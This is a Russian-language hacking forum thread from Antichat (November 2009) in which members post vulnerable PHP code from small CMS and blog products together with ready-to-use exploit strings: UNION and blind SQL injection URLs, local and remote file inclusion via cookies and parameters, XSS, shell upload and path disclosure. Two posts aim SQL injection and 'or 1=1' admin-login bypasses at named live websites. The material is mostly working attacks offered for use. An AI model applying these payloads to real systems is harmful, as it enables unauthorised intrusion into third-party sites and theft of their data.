ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #201  
Старый 15.11.2009, 01:11
Аватар для m0Hze
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Product: SuLogu
Author: unnamed
Version: 0.6.2

LFI

file: comments.php
PHP код:
...
if (!
$language) {
    
// try to set the user's preferred language from a previous cookie
    
if ($_COOKIE['bloglang']) {
        
$language $_COOKIE['bloglang'];
    } else {
        
$language $defaultlanguage;
        
setcookie("bloglang"$defaultlanguage);
    }
} else {    
// language must exists among defined tags
    
if (!languageexists($language)) {
        
$language $defaultlanguage;
        
setcookie("bloglang"$defaultlanguage);
    }
}

// Include corresponding language file.
include("language/" $language ".php");
... 
target: Отправляем поддельный запрос на сервер,и подставляем в COOKIES: bloglang={LFI}'%00; За пределы директории у меня не вышел,возможно вам повезет больше (:

Также там множество SQL-inj, но разработчики просто удивляют нас,тем что расчитывают,что везде будет включено registers_global.
Например:


file: index.php
PHP код:
...
function 
imagenavmenu($id$page) {
    global 
$showall$language;

    
$res mysql_query("SELECT id FROM blogimages WHERE id < " $id " ORDER BY id DESC LIMIT 1");
... 
Но $id нигде не будет объявляться,так что скрипт,как и SQL-inj убдет работать только на registers_global = on;
?id=-1+union+select+1,2,3,4,version(),6,7/*

Последний раз редактировалось m0Hze; 15.11.2009 в 15:54..
 
Ответить с цитированием

  #202  
Старый 15.11.2009, 01:18
Аватар для Ins3t
Ins3t
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме:
2083691

Репутация: 330
По умолчанию

EasyNEWS SQL injection

easynews.php:

PHP код:
...
if (isset(
$_GET['id'])) {
    
$id $_GET['id'];
    
$query 'SELECT * FROM `'.$table_name.'` WHERE newstime='.$id.'';
... 
Эксплаьация:

Код:
http://localhost/10/easynews.php?id=1+union+select+1,version(),3,4,5,6--+
 
Ответить с цитированием

  #203  
Старый 15.11.2009, 01:40
Аватар для m0Hze
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Product: pHpAS (Article System)
Author: unnamed
Version: 1.12

SQL


file: show.php
PHP код:
...
f(isset($_GET['id'])) {  
      
$sql "SELECT * FROM arts WHERE id=".$_GET['id'];     
      
$resultaat mysql_query($sql); 
... 
target: show.php?id=-1+union+select+1,2,version(),4/*

file: show_comments.php
PHP код:
if(isset($_GET['nr'])) {  
      
$sql "SELECT * FROM comments WHERE nr=".$_GET['nr'];     
      
$resultaat mysql_query($sql); 
target: show_comments.php?nr=-1+union+select+1,2,3,4,version(),6/*

file: comments_all.php
PHP код:
$sql "SELECT * FROM comments WHERE id=".$HTTP_GET_VARS['id']."";
/* Тут писатель совсем разленился,даже проверок нет  :( */ 
target: comments_all.php?id=-1+union+select+1,version(),3,4,5,6/*


XSS

file: show.php
PHP код:
...
if (
mysql_num_rows($resultaat) >0) {
..
else{
echo 
'geen resultaten gevonden voor id='.$_GET['id']; 
... 
target: show.php?id="><XSS>

file: show_comments.php
PHP код:
if (mysql_num_rows($resultaat) >0) {
...
}
else{
echo 
'geen resultaten gevonden voor id='.$_GET['id']; 
target: show_comments.php?nr="><XSS>

Последний раз редактировалось m0Hze; 15.11.2009 в 15:58..
 
Ответить с цитированием

  #204  
Старый 15.11.2009, 01:42
Аватар для m0Hze
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Цитата:
Сообщение от Grey  
А где он в том коде, что ты выложил должен объявляться?
function imagenavmenu($id <------- Вот это, разве не объявление переменной в функции???, $page)
М.б. стоит показать как идёт обращение к функции, может там так:
imagenavmenu($_GET[id] $_GET[page])?
Ты меня совсем не понял, непосредственно в движке,нет вообще обращени к $_GET,$_POST,$_HTTP_VARS.Все расчитано на register_globals = on, во всяком случае тот что у меня.
2jokester, извини что не выкладываю вместе со столбцами.Я не устанавливаю движки на свой компьютер,смотрю непосредственно в блокноте.
Завтра все поправлю.Это же из каталога скриптов ^_^
/addдобавил полный код лфи sulog, забыл строчку с инклудом.
 
Ответить с цитированием

  #205  
Старый 15.11.2009, 04:15
Аватар для Ins3t
Ins3t
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме:
2083691

Репутация: 330
По умолчанию

Minibill CMS 1.2.5

SQL INJECTION:

PHP код:
...
if (
$_GET['order_id'])
    {
        
$Q="SELECT * FROM orders WHERE order_id='$_GET[order_id]' AND user_id='$_SESSION[id]' LIMIT 1";
        
$preOrder mysql_fetch_assoc(mysql_query($Q));
... 
Реализация:

Код:
http://localhost/13/pages/orderform.php?order_id=[SQL]
Версия:

Код:
http://localhost/13/CHANGELOG
Установочный SQL дамп:

Так же можно найти установочный дамп БД с имнами таблиц и колонок (если его админ не потер или не выставил права):

Код:
http://localhost/13/sql/minibill.sql
RFI:

PHP код:
...
include(
$config['include_dir']."dbConnect.php");
... 
Код:
http://localhost/13/crontab/run_invoicing.php?config[include_dir]=http://google.com%00
 
Ответить с цитированием

  #206  
Старый 15.11.2009, 21:35
Аватар для Ctacok
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию

Название: MigasCMS
Версия: 1.0

Залитие шелла.
Нужны права администратора.
Цитата:
/cms/admin/webadmin.php
Отсутствует проверка на формат файла.

Раскрытие путей
Цитата:
/cms/index.php?mode=view&recid[]=
/cms/index.php?mode[]=
 
Ответить с цитированием

  #207  
Старый 15.11.2009, 22:57
Аватар для AFoST
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме:
5571194

Репутация: 1934


Отправить сообщение для AFoST с помощью ICQ
По умолчанию

Copyright © 2005
Программное обеспечение - BORNET.ru

sql-inj
http://www.evruka.ru/show_cat2.php?grid=-1%27+union+select+1,2,3,4,5,6,7,8,9,10,11+--%20-
в админку без пароля:
admin' or true -- -
example:
http://www.evruka.ru/admin/
__________________
Появляюсь редко. Важные дела в реале.

Последний раз редактировалось AFoST; 15.11.2009 в 23:08..
 
Ответить с цитированием

  #208  
Старый 16.11.2009, 01:13
Аватар для Ins3t
Ins3t
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме:
2083691

Репутация: 330
По умолчанию

PHPNS version 2.2.4 BLIND SQL INJECTION

Уязвимый скрипт manage.php:

PHP код:
...
    while (
$item_row mysql_fetch_array($item_list)) { //for each item in db
        //convert timestamp to readable/human date
        
$item_row['timestamp'] = date($globalvars['time_format'],$item_row['timestamp']);
        
$item_row['article_cat_name'] = gen_cat_name($item_row['article_cat']); //switch cat_id to readable name
        
$row_bg = ($row_bg == $globalvars['altcolor'][2]) ? $globalvars['altcolor'][1] : $globalvars['altcolor'][2]; //current row bg
        
            //switch active column to yes, draft, or unapproved.
            
if ($item_row['active'] == 1) { $item_row['active'] = '<span class="positive">Yes</span>'; } elseif ($item_row['active'] == 0) { $item_row['active'] = '<span class="negative">Draft</span>'; }
            if (
$item_row['approved'] == 0) { $item_row['active'] = '<span class="negative">Unapproved</span>'; }
            
            
$item_row['comments'] = mysql_num_rows(general_query('SELECT * FROM '.$databaseinfo['prefix'].'comments WHERE article_id="'.$item_row['id'].'"'));
            
            if (
strlen($item_row['article_title']) > 30) {
                
$item_row['article_title'] = wordwrap($item_row['article_title'], 30"<br />");
            }

        
//generate the actual html rows
        
$table_rows $table_rows.'<tr bgcolor="'.$row_bg.'">
            <td>
                <a href="article.php?id='
.$item_row['id'].'&do=edit"><img src="images/icons/edit.png" class="row_icon" alt="edit icon" title="edit &quot;'.$item_row['article_title'].'&quot;" /></a>
                <a href="article.php?id='
.$item_row['id'].'&do=edit" title="edit &quot;'.$item_row['article_title'].'&quot;"><strong>'.$item_row['article_title'].'</strong></a>
            </td>
            <td><a href="manage.php?v='
.$item_row['article_cat'].'">'.$item_row['article_cat_name'].'</a></td>
            <td>'
.$item_row['timestamp'].'</td>
            <td><a href="manage.php?v='
.$item_row['article_author'].'">'.$item_row['article_author'].'</a></td>
            <td align="center"><a href="article.php?do=comments&id='
.$item_row['id'].'">'.$item_row['comments'].'</a></td>
            <td align="center">'
.$item_row['active'].'</td>
            <td class="checkbox"><input type="checkbox" value="'
.$item_row['id'].'" name="'.$item_row['id'].'"></td></tr>';
    } 
//end of each item in db generation
... 
Реализация:

Код:
http://localhost/15/manage.php?v=1'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/*/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1--+
Таблица с юзерами: phpns_users

Для успешной реализации - magic_quotes_gpc = off
 
Ответить с цитированием

  #209  
Старый 16.11.2009, 17:48
Аватар для Shaitan-Devil
Shaitan-Devil
Участник форума
Регистрация: 15.08.2008
Сообщений: 167
Провел на форуме:
3009843

Репутация: 204
По умолчанию

Цитата:
Сообщение от AFoST  
Copyright © 2005
Программное обеспечение - BORNET.ru

sql-inj
http://www.evruka.ru/show_cat2.php?grid=-1%27+union+select+1,2,3,4,5,6,7,8,9,10,11+--%20-
в админку без пароля:
admin' or true -- -
example:
http://www.evruka.ru/admin/
Я, конечно, дико извиняюсь, но выложил до этого http://forum.antichat.net/showthread.php?p=1194275#post1194275
НУ и еще......
WebGrand CMS 2.0 © 2003
Код:
http://www.la-primavera.org/admin/
Эксплуатация.
Код:
' or 1=1--
Недостаточная фильтрация.
(c)

Последний раз редактировалось Shaitan-Devil; 16.11.2009 в 17:56..
 
Ответить с цитированием

  #210  
Старый 16.11.2009, 21:08
Аватар для Ins3t
Ins3t
Участник форума
Регистрация: 18.07.2009
Сообщений: 272
Провел на форуме:
2083691

Репутация: 330
По умолчанию

[ Cerulean Portal System version 0.7 LFI ]

Уязвимый код portal.php:

PHP код:
...
include (
$phpbb_root_path 'portal/config.' $phpEx);
... 
Реализация:

Код:
http://localhost/18/portal.php?phpEx=./../../file.php
Требования: register_globals = ON

Так же там есть RFI, но его я не выкладываю, так как его нашли ранше меня и уже опубликовали

Последний раз редактировалось Ins3t; 16.11.2009 в 21:11..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Библиотека SladerNon Болталка 17 05.02.2007 23:30
Основные методы взлома и защиты скриптов на Php DIAgen Авторские статьи 8 28.05.2006 12:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ